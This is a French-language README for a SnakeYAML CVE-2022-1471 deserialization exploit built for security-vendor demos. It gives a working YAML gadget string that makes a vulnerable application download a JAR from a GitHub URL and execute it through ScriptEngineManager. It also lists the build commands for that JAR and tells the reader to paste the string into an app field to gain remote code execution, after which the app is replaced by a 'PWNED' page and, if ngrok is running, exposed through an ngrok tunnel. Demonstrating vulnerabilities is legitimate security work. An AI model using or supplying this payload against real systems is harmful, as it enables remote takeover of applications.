
SnakeYAML CVE-2022-1471 charge utile d'exploitation pour les démos de Seal Security
Un payload d'exploitation de désérialisation SnakeYAML pour CVE-2022-1471, adapté de artsploit/yaml-payload (initialement basé sur mbechler/marshalsec).
Lorsqu'il est chargé via la méthode non sécurisée Yaml.load() de SnakeYAML, ce payload prend le contrôle de l'application en cours d'exécution et la remplace par une page « You've Been PWNED » :
Si l'injection de Valve Tomcat n'est pas disponible (par exemple pour une application non-Spring), il revient à démarrer un serveur HTTP autonome sur le port 9999 et crée automatiquement un tunnel ngrok si ngrok est en cours d'exécution.
Cela fonctionne à la fois localement sur macOS et dans les pipelines CI/CD (par exemple GitHub Actions sur Ubuntu).
Le payload SnakeYAML déclenche ScriptEngineManager via le SPI Java (Service Provider Interface) :
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL pointant vers le yaml-payload.jar de ce dépôtURLClassLoader pour charger les classes distantesScriptEngineManager découvre et charge AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory/ par la page PWNEDNécessite JDK 17+ :
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Utilisé comme payload d'exploitation dans le projet maven-demo. Collez la chaîne du payload dans le champ de nom de l'application pour déclencher l'exécution de code à distance (RCE). La page de l'application sera remplacée par la page PWNED à la prochaine requête. Consultez le README de ce dépôt pour les instructions complètes de la démonstration.